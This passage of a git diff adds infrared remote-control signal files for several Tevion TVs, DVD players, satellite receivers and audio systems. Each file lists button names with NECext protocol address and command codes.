NECext +address: 83 45 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 4F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 50 00 00 00 +# +name: magenta_ok +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 52 00 00 00 +# +name: program+ +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 53 00 00 00 +# +name: program- +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 57 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 58 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 59 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 5C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 5E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 5F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 45 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir new file mode 100644 index 000000000..27930d52c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: White +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir new file mode 100644 index 000000000..18c0dec18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0A 00 00 00 +# +name: disc +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 15 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 16 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 17 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 18 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 19 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1C 00 00 00 +# +name: audio_eq +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1E 00 00 00 +# +name: p_i +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir new file mode 100644 index 000000000..1a67289b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CAMERA +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir new file mode 100644 index 000000000..153a49f52 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: rose +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 00 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 00 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 01 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 02 00 00 00 +# +name: ent +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 04 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 11 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1D 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 49 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 4D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 52 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 53 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 59 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 17 69 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir new file mode 100644 index 000000000..508ec417c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: vtdispin +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0F 00 00 00 +# +name: vttvmix +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: prg+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: prg- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 29 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 37 00 00 00 +# +name: vtstop +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 3B 00 00 00 +# +name: vton +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 83 00 00 00 +# +name: vtoff +type: parsed +protocol: NECext +address: 30 00 00 00 +command: CF 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 30 00 00 00 +command: EE 00 00 00 +# +name: pink +type: parsed +protocol: NECext +address: 30 00 00 00 +command: F7 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir new file mode 100644 index 000000000..09e811f4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 04 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 06 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 07 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0C 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0E 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0F 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 13 00 00 00 +# +name: MEMORY/CLOCK +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1B 00 00 00 +# +name: M-UP/REPEAT +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1C 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1D 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1E 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 60 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: A0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir new file mode 100644 index 000000000..bffb8cae5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0A 00 00 00 +# +name: disc +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 15 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 16 00 00 00 +# +name: track- +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 17 00 00 00 +# +name: track+ +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 18 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 19 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1C 00 00 00 +# +name: audioeq +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1E 00 00 00 +# +name: progressive +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 1F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir new file mode 100644 index 000000000..476fa59bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: WHITE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: Alt +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 